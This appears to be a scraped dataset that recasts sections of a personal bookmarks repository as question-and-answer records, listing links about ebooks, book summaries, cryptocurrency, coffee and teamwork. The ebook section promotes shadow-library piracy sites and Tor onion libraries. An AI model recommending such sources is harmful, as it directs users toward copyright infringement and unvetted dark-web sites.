{"id": "gh_0e72e667bfe5", "question": "How to: Complete books", "question_body": "About SansGuidon/bookmarks", "answer": "* :fire: [**Library Genesis**](https://libgen.is/) - ebooks and scientific articles. **Bonus** : [Mirror #1](http://gen.lib.rus.ec/), [Mirror #2 with nice UI](https://libgen.me/), [Mirrors list](http://sguru.org/libgen-proxy/)\n* :fire: [**ZLibrary**](https://b-ok.cc/) - The world's largest ebook library.\n* [Project Gutenberg](https://www.gutenberg.org/) - over 54,000 free eBooks, especially older works for which copyright has expired.\n* [The Pragmatic Programmers](https://media.pragprog.com/titles/auto/PragmaticAutomationSummary.pdf) - [PDF] Pragmatic Project Automation Summary Road Map / good one-page summary of [Pragmatic Project Automation](http://www.pragprog.com/titles/auto) book\n* [Marco de Saint-Hilaire](http://www.gutenberg.org/ebooks/26488) - [FR] :fr: [Book] L'art de payer ses dettes et de satisfaire ses créanciers sans débourser un sou\n* [Google](https://landing.google.com/sre/book.html) - [Book] Site Reliability Engineering | free book about how SRE at Google build, deploy, monitor, and maintain some of the largest software systems in the world.\n* [DZone](https://dzone.com/guides/devops-culture-and-process) - (2018) [Book] [PDF] DZone's free 50 pages Guide to DevOps: Culture and Process\n* [The Hidden Wiki](https://zqktlwi4fecvo6ri.onion.to/wiki/Libraries) - [TOR] a list of websites that have free ebooks.\n* [Imperial Library](https://xfmro77i3lixucja.onion.to/) - [TOR] online library with +100.000 books\n* [Deep web sites links](https://www.deepwebsiteslinks.com/deep-web-books-sites-links/) - [TOR] Deep Web Books Link | Dark Web Books Sites\n* [PubMed](https://www.ncbi.nlm.nih.gov/pubmed) - +27 million content in biomedical literature from MEDLINE, life science journals, and online books.\n* [Fox eBook](https://www.foxebook.net) - ebooks site\n* [Smashwords](https://www.smashwords.com/books/category/1/newest/0/free/any) - ebooks from independent authors and publishers\n* [Steve Losh](http://learnvimscriptthehardway.stevelosh.com/) - Free book : Learn Vimscript the Hard Way, learn how to customize vim\n* [InfoQ](https://www.infoq.com/) - news, videos, books for software developers\n* [Brian Kelly](https://morethancoding.com/2011/02/27/the-greatest-software-stories-ever-told/) - (2011) [Book] The Greatest Software Stories Ever Told\n* [Erik Helin and Adam Renberg](http://littleosbook.github.io/#a-simple-read-only-file-system) - [Book] The little book about OS development\n* [Miran Lipovača](http://learnyouahaskell.com/chapters) - [Book] Learn You a Haskell for Great Good! and for free\n* [Markus Triska](https://www.metalevel.at/prolog) - [Book] The Power of Prolog. **Bonus** : git repo [triska/the-power-of-prolog](https://github.com/triska/the-power-of-prolog)\n* [Humans vs Computers](https://leanpub.com/humansvscomputers) - a book about wrong assumptions, computer bugs, and people caught in between\n* [Laurens Van Houtven](https://www.crypto101.io/) - Crypto 101 is an introductory course on cryptography, freely available for programmers of all ages and skill levels. **Bonus** : [GitHub repo](https://github.com/crypto101/book)\n* [The Cathedral and the Bazaar](https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar) - [Book] Musings on Linux and Open Source by an Accidental Revolutionary\n* [Launch School](https://launchschool.com/books/) - Open Book Shelf for developers | some beginner friendly readings about programming, git, command line, etc\n* [Learn You Some Erlang](http://learnyousomeerlang.com/content) - Online book. Reading this tutorial should be one of your first steps in learning Erlang\n* [Ogre](http://ogres-crypt.com/Kindle/) - Free Kindle Book Listings\n* [Reddit](https://www.reddit.com/r/FreeEBOOKS/) - Free Ebooks\n* [OpenShift](https://www.openshift.com/promotions/devops-with-openshift.html) - DevOps with OpenShift\n* [MorganGeek](https://researchportal.unamur.be/fr/studentTheses/design-of-a-support-system-for-modelling-gene-regulatory-networks) - (2015) Design of a support system for modelling gene regulatory networks. **Bonus** : [Download in PDF](https://researchportal.unamur.be/files/36918347/2015_WattiezM_memoire.pdf)\n* [Internet Archive](https://archive.org/details.php?identifier=texts) - eBooks and Texts : The Internet Archive offers over 15,000,000 freely downloadable books and texts. There is also a collection of 550,000 modern eBooks that may be borrowed by anyone with a free archive.org account.\n* :star: [**Terraform Best Practices**](https://www.terraform-best-practices.com/) - [Book] free book with most of best-practices and recommendations for Terraform users. **Bonus** : [Source code examples](https://github.com/antonbabenko/terraform-best-practices/tree/master/examples)\n* [MagazineLib](https://magazinelib.com/?s=Linux) - Free Pdf & interactive e-magazines\n* [ebpok3000](http://ebook3000.com/plus/search.php?keyword=Linux+magazine&x=0&y=0) - Download PDF Magazines, eBooks, PDF for Free\n* [PDF Giant](http://pdf-giant.com/tags/linux%20magazine) - a place where you can download magazines", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677095"}
{"id": "gh_78d4e185c2ea", "question": "How to: Book summaries, notes and reviews", "question_body": "About SansGuidon/bookmarks", "answer": "* [MorganGeek](https://github.com/MorganGeek/bookmarks/tree/master/books) - My own highlights of favorite - *mostly software engineering related* - books.\n* [WikiSummaries](http://www.wikisummaries.org/wiki/Category:Summaries) - A listing of free book summaries in English by category and alphabetically.\n* [Actionable Books](http://www.actionablebooks.com/en-ca/summaries/) - 1134 business book summaries with personality. Insights you can apply in five minutes.\n* [csabapalfi/release-it](https://github.com/csabapalfi/release-it) - notes for the book titled 'Release It!' by Michael T. Nygard\n* [Free Summarizer](http://freesummarizer.com/) - Summarize any text Copy and paste your loooong text (even a copy of a book)\n* [O'reilly](http://programmer.97things.oreilly.com/wiki/index.php/Contributions_Appearing_in_the_Book) - contributions appearing in book 97 Things Every Programmer Should Know\n* [onaclov2000/PassionateProgrammer](https://github.com/onaclov2000/PassionateProgrammer) - a list of the tips from the book \"Passionate Programmer\"\n* [sfrapoport/daily-pragmatic-tip](https://github.com/sfrapoport/daily-pragmatic-tip/blob/master/pragmaticprogrammer.txt) - notes from book \"Pragmatic Programmer\"\n* [braydie/PragProgTips](https://github.com/braydie/PragProgTips/blob/master/index.html) - some tips from pragmatic programmer book\n* Some GitHub resources on clean coding practices, mostly based on book 'Clean Code: A Handbook of Agile Software Craftsmanship' by Robert C. Martin : [Wojtek Lukaszuk](https://gist.github.com/wojteklu/73c6914cc446146b8b533c0988cf8d29), [Deniz Ozger/clean-code](https://github.com/denizozger/clean-code), [Jose Angel Barroso/clean-code](https://github.com/jbarroso/clean-code), [harry830622/clean-code-notes](https://github.com/harry830622/clean-code-notes), [thebentern/clean-code-study](https://github.com/thebentern/clean-code-study), [JuanCrg90/Clean-Code-Notes](https://github.com/JuanCrg90/Clean-Code-Notes), [timkendall/clean-code](https://github.com/timkendall/clean-code)\n* [jbelmont/pragmatic-programmer-and-clean-code](https://github.com/jbelmont/pragmatic-programmer-and-clean-code) - principles from Pragmatic Programmer and Clean Code books\n* [Alex Ott](http://alexott.net/en/fp/books/#sec8) - books review on Erlang\n* [Alex Ott](http://alexott.net/en/fp/books/#sec7) - books review on Haskell\n* [Hugo Matilla/Effective-JAVA-Summary](https://github.com/HugoMatilla/Effective-JAVA-Summary) - Summary of the book Effective Java 2nd Edition by Joshua Bloch\n* [Alex Ott](http://alexott.net/en/fp/books/#sec12) - books review on Lisp\n* [Alex Ott](http://alexott.net/en/fp/books/) - Functional programming books overview\n* [Alex Ott](http://alexott.net/en/fp/books/#sec14) - books review on Prolog\n* [Sam Harris](https://medium.com/growth-mindset-podcast/the-hard-thing-about-hard-things-summary-51ea0213e837) - (2017) The Hard Thing About Hard Things — Summary of book\n* [Farnam Street](https://www.fs.blog/2012/07/how-to-win-friends-and-influence-people/) - (2012) The Best Summary of Dale Carnegie's How to Win Friends and Influence People\n* [Jo Meenen](https://www.cutemachine.com/the-art-of-non-conformity-book-summary/) - The Art Of Non-Conformity Book Summary\n* [Jo Meenen](https://www.cutemachine.com/the-one-thing-book-summary/) - The ONE Thing Book Summary\n* [Jo Meenen](https://www.cutemachine.com/switch-book-summary/) - Switch Book Summary | How to Change Things When Change Is Hard | good tips here\n* [Jo Meenen](https://www.cutemachine.com/7-habits-of-highly-effective-people-summary/) - 7 Habits Of Highly Effective People Summary\n* [rondy](https://gist.github.com/rondy/af1dee1d28c02e9a225ae55da2674a6f) - Effective Engineer - Book Notes. **Bonus** see also [The Effective Engineer website](http://www.effectiveengineer.com/) and [Effective Engineer Blog](http://www.effectiveengineer.com/blog)\n* [A random quote](http://arandomquote.com/books/) - Short summaries of books / Great books summarized in 5 quotes or less\n* [Ayooluwa Isaiah](https://freshman.tech/philosophy-of-software-design-summary/) - (2021) Book summary: A Philosophy of Software Design \n* [Hugo Matilla/Refactoring-Summary](https://github.com/HugoMatilla/Refactoring-Summary) - Summary of \"Refactoring: Improving the Design of Existing Code\" by Martin Fowler\n* [Bookstash](https://bookstash.io/) - Top books recommended by famous folk, in 3m or less.\n> “‘I read it on Bookstash’, or how to pretend you’re smart while actually being smart.” - Alberto Heinstein\n* [John Arundel](https://bitfieldconsulting.com/golang/alex-edwards-lets-go-further) - (2021) Review: 'Let's Go Further'\n* [John Arundel](https://bitfieldconsulting.com/golang/best-books) - (2022) Best Go books for 2022\n* [Derek Sivers](https://sive.rs/book/StoicJoy) - (2020) A Guide to the Good Life: The Ancient Art of Stoic Joy - by William Irvine\n* [usefulchess](http://www.usefulchess.com/store/chess_books.html) - (2005) Chess books", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677111"}
{"id": "gh_630fa37ebab6", "question": "How to: Book tools", "question_body": "About SansGuidon/bookmarks", "answer": "* [EPUB Converter](https://www.epubconverter.com/epub-to-mobi-converter/) - Free EPUB to MOBI Converter. **Alternative** : [Convert Files](http://large.convertfiles.com/converter.php)\n* [EPUB to MOBI Converter](https://convertio.co/epub-mobi/) - Convert your epub files to mobi online & free\n* [Google Books](https://books.google.com/) - Search the world's most comprehensive index of full-text books\n* [CloudConvert](https://cloudconvert.com/epub-to-pdf) - EPUB to PDF Converter | with support for EPUB, PDF, AZW and CBZ amongst many others.\n* [Bookstash](https://bookstash.io/) - Top books recommended by famous folk, in 3m or less.\n> “‘I read it on Bookstash’, or how to pretend you’re smart while actually being smart.” - Alberto Heinstein\n* :star: [iLovePDF](https://www.ilovepdf.com/split_pdf) - Split PDF files online\n* [Converter App](https://converter.app/djvu-to-pdf/convert.php) - DjVu to PDF\n* [Online Converter](https://www.onlineconverter.com/compress-epub) - Compress EPUB File Size\n* :star: [iLovePDF](https://www.ilovepdf.com/compress_pdf) - Compress PDF file. Same PDF Quality less file size\n* :star: [iLovePDF](https://www.ilovepdf.com/edit-pdf) - Online PDF Editor and Form Filler", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677119"}
{"id": "gh_5b8f7e7378bd", "question": "How to: Book suggestions", "question_body": "About SansGuidon/bookmarks", "answer": "* [TasteKid](https://tastedive.com/) - get recommendations for music but also tv shows, films, games, books...\n* [Learn by Reading](https://learnbyreading.herokuapp.com/) - Discover your next favorite learnable (Non-fiction) book from Amazon Book\n* [Gnod](http://www.gnooks.com/faves.php) - Discover new books based on what you like\n* :star: [**Goodreads**](https://www.goodreads.com/) - a home for you books, to manage your collection and discover new books\n* :star: [**LibraryThing**](https://www.librarything.com/) - a home for your books, to manage your library and discover new books. | Recommendations are numerous and usually relevant to me for every book I tried\n* [Whichbook](http://www.openingthebook.com/whichbook/) - a tool for selecting what book to read next\n* [What Should I Read Next?](http://www.whatshouldireadnext.com/) - another tool to discover new books based on what you like\n* [AllReaders](http://allreaders.com/booksearch.asp) - book search engine, get details and recommendations about books you like\n* [Readgeek](https://www.readgeek.com/rate_many) - Let Readgeek get to know your book taste to get recommendations\n* [Community Picks](http://www.communitypicks.com/) - recommended books for hacker subreddits\n* [Book Suggestions Ninja](https://www.booksuggestions.ninja/) - books suggestions based on book / author or genre\n* [Reading Stash](http://readingstash.com/index) - Just a book recommender\n* [Kooba](http://koob.jake.run/) - an interactive graph for finding new books\n* [dev-books](http://www.dev-books.com/) - top of most mentioned books on stackoverflow\n* [Goodreads](https://www.goodreads.com/shelf/show/reddit-top-200) - Popular Reddit Top 200 Books\n* [Amazon](https://www.amazon.com/Best-Sellers-Kindle-Store-eBooks/zgbs/digital-text/154606011/ref=zg_bs?_encoding=UTF8&tf=1) - Top 100 Free Amazon Best Sellers\n* [Jeff Atwood](https://blog.codinghorror.com/recommended-reading-for-developers/) - (2015) Recommended Reading for Developers\n* [hackerkid/Mind-Expanding-Books](https://github.com/hackerkid/Mind-Expanding-Books) - 📚 Books that will blow your mind. **Bonus** : [Beta website](https://books.vishnuks.com/)\n* [Ask HN](https://news.ycombinator.com/item?id=16357368) - (2018) Which books describe modern devops?\n* [Favobooks](http://favobooks.com/) - famous people's favourite books : explore book recommendations of great thinkers, entrepreneurs, pioneers and visionaries.\n* [The Book Seer](https://bookseer.com/) - What should I read next ?\n* [Reddit Favorites](https://redditfavorites.com/books) - What are reddit's favorite Books? | From 3.5 billion comments (number from Sept. 13, 2021)\n* [Librel](https://www.librel.be/) - :fr: 🇧🇪 [FR] [BE] La plus grande librairie de Belgique | Les librairies indépendantes. **See also** [Carte interactive](https://www.librel.be/map.php)", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677132"}
{"id": "gh_d71fd59d4477", "question": "How to: Cryptocurrency", "question_body": "About SansGuidon/bookmarks", "answer": "> News\n* [CoinMarketCap](https://coinmarketcap.com/) - Cryptocurrency Market Capitalizations\n* [Crypto Lite](http://cryptolite.net/) - A quick way to check the top-100 cryptocurrencies price\n* [Cyptocurrency News](http://www.knockknockcoin.com/) - Cyptocurrency news updates\n* [WorldCoinIndex](https://www.worldcoinindex.com/) - Cryptocoin price index and market cap\n* [Hacker Noon](https://hackernoon.com/bitcoin/home) - Bitcoin related news\n* [99cryptocoin](https://www.99cryptocoin.com/) - Top CryptoCurrency by 24 Hour Trading Volume\n* [Ashton Kemerling](http://ashtonkemerling.com/blog/2018/02/21/no-you-probably-dont-need-a-blockchain/) - (2018) No, You Probably Don't Need a Blockchain | On Bitcoins and Blockchains\n* [Bittrex.com](https://bittrex.com/home/markets) - Bitcoin markets\n* [Bitcoincharts](https://bitcoincharts.com/markets/) - provides financial and technical data related to the Bitcoin network\n* [Brave New Coin](https://bravenewcoin.com/) - Bitcoin Price, Charts, Research, Cryptocurrency Insights\n* [Slofile](https://slofile.com/category/Crypto) - Slack channels on cryptocurrency\n* [CSVShare](https://csvshare.com/view/Vk_tfwlTX) - Blockchain & Crypto Slack Communities\n* [WalletInvestor](https://walletinvestor.com/forecast) - Cryptocurrency Forecast (Bitcoin & Altcoin, ICO Prediction, Prognosis 2018, 2019)\n* [Bitcoin Obituaries](https://99bitcoins.com/bitcoin-obituaries/) - \"Bitcoin is Dead\" Declared 400+ Times (2022)\n* [Bitcoin Is Dead](https://www.bitcoinisdead.org/) - The #1 Database of Notable Bitcoin Skeptics. \n* > In fact, Bitcoin is very much alive. See the activity on the Bitcoin network - market price, average block size, transactions per day, mempool size, total circulation, market capitalization, exchange trade volume, blockchain size, average transaction per block, average payments per block, confirmation times, etc. - here.\n\n> Learn\n* [coinpride/CryptoList](https://github.com/coinpride/CryptoList) - Curated collection of blockchain & cryptocurrency resources.\n* [Chia Network](https://chia.network/) - blockchain based on proofs of space and time to make a cryptocurrency which is less wasteful, more decentralized, and more secure.\n* [Bruce Hunt](https://hackernoon.com/the-art-of-hodling-crypto-cant-make-this-sh-t-up-713149eb9a21) - (2018) The Art Of Hodling Crypto: Can’t Make this Sh*t Up\n> If you took 5 of the cryptocurrencies and if you invested $1,000 in each on Jan 1st 2017…  you would have : $655,527 for $5,000 invested.\n* [WalletGenerator](https://walletgenerator.net/) - Paper Wallet Generator for BitCoins and other cryptocurrencies. Create, Print & Fold\n* [Bruce Hunt](https://hackernoon.com/due-diligence-checklist-for-investing-in-cryptocurrency-7b952b8b038e) - (2017) Due Diligence Checklist for Investing in Cryptocurrency\n* [Bruce Hunt](https://hackernoon.com/how-crypto-market-behaves-its-a-damn-cycle-bffe47a01831) - (2017) How Cryptocurrency Market Behaves, It’s a Damn Cycle.\n* [Bruce Hunt](https://hackernoon.com/how-to-crush-the-crypto-market-quit-your-job-move-to-paradise-and-do-whatever-you-want-the-rest-27a4a3cc2bb1) - (2018) How to Crush the Crypto Market, Quit Your Job, Move to Paradise and Do Whatever You Want the Rest of Your Life\n* [Coin and Crypto](https://hackernoon.com/bitcoin-is-outdated-tech-these-3-alternatives-should-be-on-your-radar-57cf806d34df) - (2018) Bitcoin is outdated tech. These 3 alternatives should be on your radar.\n* [Linda Xie](https://medium.com/@linda.xie/tips-for-crypto-newcomers-2ee5ab2d85c1) - (2018) Tips for crypto newcomers\n* [Bitcoin Regret Club](https://bitcoinregret.club/) - satirical site for people who want to calculate all the money they you could’ve made.\n* [The HODLer manifesto](https://hodlermanifesto.com) - What is HODL?\n* [Federico Gambarelli (fede93g)](https://steemit.com/bitcoin/@fede93g/the-hodler-manifesto-what-does-being-a-bitcoin-hodler-mean) - (2018) The HODLer Manifesto: what does \"being a Bitcoin HODLer\" mean?\n* [Best Bitcoin Exchange Reviews](https://www.bestbitcoinexchange.net/) - Best Bitcoin Exchange Comparison\n* [CryptoCompare](https://www.cryptocompare.com/exchanges/#/overview) - Compare all Bitcoin exchanges, reviews, live streaming bitcoin prices, fees, deposit methods\n* [GamerZ](https://www.gamerz.be/forum/bitcoin-crypto/) - :fr: [FR] GamerZ discussion forum about Bitcoin / Cryptocurrencies\n* [Anne Gaviola](http://www.cbc.ca/beta/news/business/bitcoin-s-gender-divide-could-be-a-bad-sign-experts-say-1.4458884) - (2018) Bitcoin's gender divide could be a bad sign, experts say\n* [Lucca Runger-Field](https://bitshouts.com/blockchain-in-politics/) - (2018) Blockchain In: Politics\n* [Nathaniel Whittemore](https://medium.com/@nlw/we-talk-about-blockchain-governance-so-why-not-blockchain-politics-28f787bc9ff6) - (2018) We Talk About Blockchain Governance, So Why Not Blockchain Politics?\n* [Joseph Lubin](https://blockgeeks.com/news/blockchain-voting/) - (2016) Is Blockchain Technology Going To Disrupt Our Political System: We", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677232"}
{"id": "gh_7531d7c17fb9", "question": "How to: Coffee :coffee:", "question_body": "About SansGuidon/bookmarks", "answer": "> News\n* [INeedCoffee](https://ineedcoffee.com/section/coffee-comics/) - Life is Coffee Comics\n* [Methodical Coffee](https://methodicalcoffee.com/blogs/coffee-culture) - Coffee Culture Blog\n* [CoffeeGeek](https://www.coffeegeek.com/) - The world's most read coffee and espresso resource\n* [CoffeeGeek Daily Blog](https://www.coffeegeek.com/blog/) - The world's most read coffee and espresso resource\n* [Delishably](https://delishably.com/beverages/coffee/) - Coffee articles and recipes from around the world written by home chefs and foodistas\n* [Reddit](https://www.reddit.com/r/Coffee/) - Coffee on Reddit\n* [Reddit](https://www.reddit.com/r/espresso/) - Espresso on Reddit\n* [Reddit](https://www.reddit.com/r/barista/) - Barista on Reddit\n* [Reddit](https://www.reddit.com/r/JamesHoffmann/) - James Hoffman related posts on Reddit\n* [Clive Coffee](https://clivecoffee.com/blogs/learn) - Blog posts about Coffee\n* [Serious Eats](https://www.seriouseats.com/coffee-tea-5118050) - Posts about Coffee & Tea\n* [JavaPresse](https://www.javapresse.com/blogs/espresso) - Blog posts about coffee\n* [NoGarlicNoOnions](https://www.nogarlicnoonions.com/tag/coffee/) - Posts tagged with coffee\n* [Latte Art Guide](https://www.latteartguide.com/blog/) - Coffee Blog\n* [Le Café de Clara](https://lecafedeclara.fr/blog/) - 🇫🇷 [FR] Clara partage sa passion du café\n\n> Learn\n* [Le Pharmachien](http://lepharmachien.com/cafeine/) - [FR] :fr: Caféine : toxique et délicieuse / Coffee : good and bad parts :coffee:\n* [David McRaney](https://youarenotsosmart.com/2010/02/22/coffee/) - (2010) Coffee stimulation or addiction ? :coffee:\n* [Brandur Leach](https://brandur.org/fragments/caffeine) - Caffeine | An experiment of Brandur in seriously throttling back its caffeine intake for the first time in years.\n* [The Coffee Compass](https://baristahustle.com/blog/the-coffee-compass/) - Brew a coffee. Taste it. Adapt and repeat until you find the coffee you prefer.\n* [Mike Crittenden](https://critter.blog/2021/07/02/10-of-us-are-barely-affected-by-caffeine/) - (2021) 10% of us are barely affected by caffeine\n* [Ronan Petillon](https://www.homelisty.com/aeropress/) - [FR] :fr: (2020) L'AeroPress est une Machine à Café à Moins de 40€ qui a Remplacé ma Nespresso\n* [Alliance For Coffee Excellence](https://allianceforcoffeeexcellence.org/competition-auction-results/) - COE (Cup of Excellence) Auction Results | They reward exceptional quality coffee farmers. **See also** [National Winner program results](https://allianceforcoffeeexcellence.org/nw-competition-auction-results/) which sells the semi-finalist to the Cup of Excellence program. Tip : pick only coffee scoring at least 80.\n* [Sébastien Kardinal](https://www.youtube.com/watch?v=Lt-NEGYR1TY&list=PLAeQowwvU0yIcvKalmAfOeCjXpZ3hsiTL) - [Video] [FR] :fr: Coffee Time | Une playlist de vidéos sur le thème du café de spécialité\n* [Sasha Pavlovich](https://coffeehow.co/coffee-drink-types/) - (2021) 39 Types of Coffee Drinks\n* [Ning T.](https://blog.proto.io/10-uniquely-beautiful-coffee-makers/) - (2015) 10 Uniquely Beautiful Coffee Makers\n* [Reddit Favorites](https://redditfavorites.com/product_categories/espresso-machines) - What are reddit's favorite Espresso Machines? | From 3.5 billion comments (number from Sept. 13, 2021)\n* [Home-Barista.com](https://www.home-barista.com/quotable-quotes.html) - Quotable Quotes | Memorable quotes and quips about espresso from the forums\n* [CoffeeGeek](https://www.coffeegeek.com/opinions/an-espresso-glossary/) - (2021) An Espresso Glossary - Originally published on CoffeeGeek back in 2003, and updated several times, this glossary has become a reference point for several books on coffee and espresso, and has been widely copied across the internet. We’re updating this for the launch of the new version of CoffeeGeek in 2021.\n* [Mark Prince](https://www.coffeegeek.com/opinions/real-espresso-myths-that-need-busting/) - (2015) Real Espresso Myths that Need Busting | Inspired (sort of) by some questionable myth busting in an espresso education series online, we tackle some real, genuine espresso myths, including caffeine levels, bold coffee and more.\n* [Brian Lam](https://www.nytimes.com/wirecutter/blog/making-espresso-at-home/) - (2020) Making Espresso at Home Is Kind of a Nightmare—But If You Insist, Here’s How to Do It Well\n* [Jasmin Andrews](https://coffeeking.io/washed-vs-semi-washed-vs-unwashed-coffee/) - (2021) Which Coffee Is Better – Washed, Unwashed Or Semi-Washed?\n* [OKCoffee](https://okcoffee.tips/interviews/) - Interviews\n* [Reddit](https://www.reddit.com/r/Coffee_Recipes/) - Coffee recipes\n* [Open Culture](https://www.openculture.com/index.php?s=coffee&q=coffee) - articles about coffee\n* [Garrett Oden](https://www.javapresse.com/blogs/espresso/is-nespresso-real-espresso) - (2019) Is Nespresso Real Espresso? **spoiler** Not exactly.\n* [James Hoffman](https://www.youtube.com/watch?v=pO06RC4pvr0) - (2021) [Video] The Bizarre And Surprising Coffee Of The Nespresso Vertuo\n> No", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677287"}
{"id": "gh_ec003ceb5ec1", "question": "How to: Collaboration & Problem solving", "question_body": "About SansGuidon/bookmarks", "answer": "> News\n* [TED](https://www.ted.com/) - [Videos] Ideas worth spreading, usually in the form of short, powerful talks (18 minutes or less)\n* [Collaborative Fund](http://www.collaborativefund.com/blog/archive/) - About information, collaboration and investments\n* [wikiHow](https://www.wikihow.com/Main-Page) - How to instructions you can trust, aka How to do anything. However, if you take a look at sections such as [Family Life](http://www.wikihow.com/Category:Family-Life) it can be creepy.... (I mean, do we need a site to learn what is family about  ?) **See also** :fr: [FR] the [french version](https://fr.wikihow.com/Accueil) \n\n> Learn\n* [Jason Fried](https://m.signalvnoise.com/is-group-chat-making-you-sweat-744659addf7d) - (2016) Is group chat making you sweat?\n* [Dale Emery](http://cwd.dhemery.com/2005/05/motivation) - (2005) model of motivation : Motivation = Ability × Results × Preferences\n* [J. B. Rainsberger](http://blog.jbrains.ca/permalink/what-if-we-forget-to-write-the-tests) - What If We Forget To Write the Tests?\n* [Paul Kaye](https://www.linkedin.com/pulse/control-stifles-creativity-growth-paul-kaye) - Control stifles creativity and growth\n* [Corinna Baldauf](http://wall-skills.com/2017/glasls-stages-of-conflict-escalation/) - (2017) Glasl’s Stages of Conflict Escalation\n* [Wall-Skills](http://wall-skills.com/) - Great 1-pagers to share in your company\n* [Corinna Baldauf](http://wall-skills.com/2016/team-self-selection-kit/) - (2016) Team Self-Selection Kit\n* [Corinna Baldauf](http://wall-skills.com/2016/silence-a-room-in-5-seconds/) - (2016) Silence a Room in 5 Seconds\n* [Corinna Baldauf](http://wall-skills.com/2016/tuckmans-stages-of-team-development/) - (2016) Tuckman’s Stages of Team Development\n* [Jason Fried](https://m.signalvnoise.com/depend-less-on-each-other-507fe0e23e4b) - Depend less on each other\n* [Vaidehi Joshi](https://dev.to/vaidehijoshi/crafting-better-code-reviews) - Crafting Better Code Reviews\n* [Karl E. Wiegers](http://www.processimpact.com/articles/humanizing_reviews.html) - Humanizing Peer Reviews\n* [Dr. Deborah Mowshowitz](https://web.archive.org/web/20171012144615/http://www.columbia.edu/cu/biology/faculty/mowshowitz/explaining.html) - (2009) How to Explain\n* [Joe Landsberger](http://www.studygs.net/problem/problemsolvingv1.htm) - Defining a problem; identifying causes; gathering information\n* [Mike Walker](https://opensource.com/open-organization/17/6/team-differentiator-not-tech) - Your team's differentiator isn't its tech\n* [John Allspaw](http://www.kitchensoap.com/2017/03/06/book-suggestion-dialogue-the-art-of-thinking-together/) - (2017) Dialogue: The Art Of Thinking Together\n* [MindTools](https://www.mindtools.com/pages/article/Assertiveness.htm) - Assertiveness : Working WITH People, Not Against Them\n* [Gregg Caines](http://caines.ca/blog/2013/05/07/a-requiem-for-a-team/) - (2013) A Requiem for a Team\n* [Julie Zhuo](https://medium.com/the-year-of-the-looking-glass/how-to-work-with-engineers-a3163ff1eced) - How to Work with Engineers : A Cheat Sheet for Designers\n* [Julie Zhuo](https://medium.com/the-year-of-the-looking-glass/how-to-work-with-designers-6c975dede146) - How to Work with Designers : A Cheat Sheet for Engineers and PMs\n* [Julie Zhuo](https://medium.com/the-year-of-the-looking-glass/how-to-work-with-pms-3e852d5eccf5) - How to Work with PMs : A Cheat Sheet for Designers\n* [Raúl Ávila](https://dev.to/raulavila/my-experience-with-pair-programming) - My Experience with Pair Programming\n* [Ben Hilburn](https://bhilburn.org/a-keystone-of-success/) - What mature engineers do and don't do / what it means to be a mature engineer.\n* [Mart Virkus](https://blog.toggl.com/2017/02/seven-circles-of-developer-hell/) - (2017) The Seven Circles of Developer Hell [Infographic]\n* [David Mytton](https://blog.serverdensity.com/how-to-do-code-reviews/) - How to do code reviews\n* [Select International](http://www.selectinternational.com/safety-blog/bid/189940/There-is-No-Shortcut-to-Safety) - There is No Shortcut to Safety\n* [Rajesh Setty](http://rajeshsetty.com/2010/05/03/why-many-smart-people-take-shortcuts-and-how-you-can-avoid-that-trap/) - (2010) Why MANY smart people take shortcuts and how you can avoid that trap\n* [Marc Chernoff](http://www.marcandangel.com/2013/10/13/7-shortcuts-you-will-regret-taking-in-life/) - (2013) 7 Shortcuts You Will Regret Taking in Life\n* [Jessica Kerr](https://blog.codeship.com/growing-tech-stack-say-no/) - Growing Your Tech Stack: When to Say No\n* [Chris Parnin](http://blog.ninlabs.com/2013/01/programmer-interrupted/) - (2013) Programmer Interrupted\n* [Daniel Miessler](https://danielmiessler.com/blog/how-to-build-a-strong-argument/) - How to Build a Strong Argument\n* [Daniel Miessler](https://web.archive.org/web/20150910140755/https://danielmiessler.com/blog/three-questions-successful-people-ask/) - (2013) Three Questions Successful People Ask\n> * What do I want to achieve?\n> * What are my obstacles?\n> * Who has solved this already?\n* [Anthony", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677468"}
{"id": "gh_da6d4afc32b3", "question": "How to: Communication", "question_body": "About SansGuidon/bookmarks", "answer": "* [Bohm Dialogue](https://en.m.wikipedia.org/wiki/Bohm_Dialogue) - (also known as Bohmian Dialogue or \"Dialogue in the Spirit of David Bohm\") is a freely flowing group conversation in which participants attempt to reach a common understanding, experiencing everyone's point of view fully, equally and nonjudgementally.[1] This can lead to new and deeper understanding. The purpose is to solve the communication crises that face society,[2] and indeed the whole of human nature and consciousness.\n* [Eric Jorgenson](https://medium.com/@ericjorgenson/why-growing-past-20-employees-is-so-damn-hard-and-what-you-can-do-about-it-e37cb302db58) - (2017) Why Growing Past 20 Employees is so Damn Hard (and what you can do about it)\n* [Eric Jorgenson](https://medium.com/evergreen-business-weekly/lets-stop-communicating-like-minions-evergreen-business-weekly-3-internal-communication-97a9705eb71a) - (2015) Secrets to Perfecting Organizational Communication—Evergreen Business Weekly 3: Internal Communication | If the members of the team cannot communicate, isolation limits their 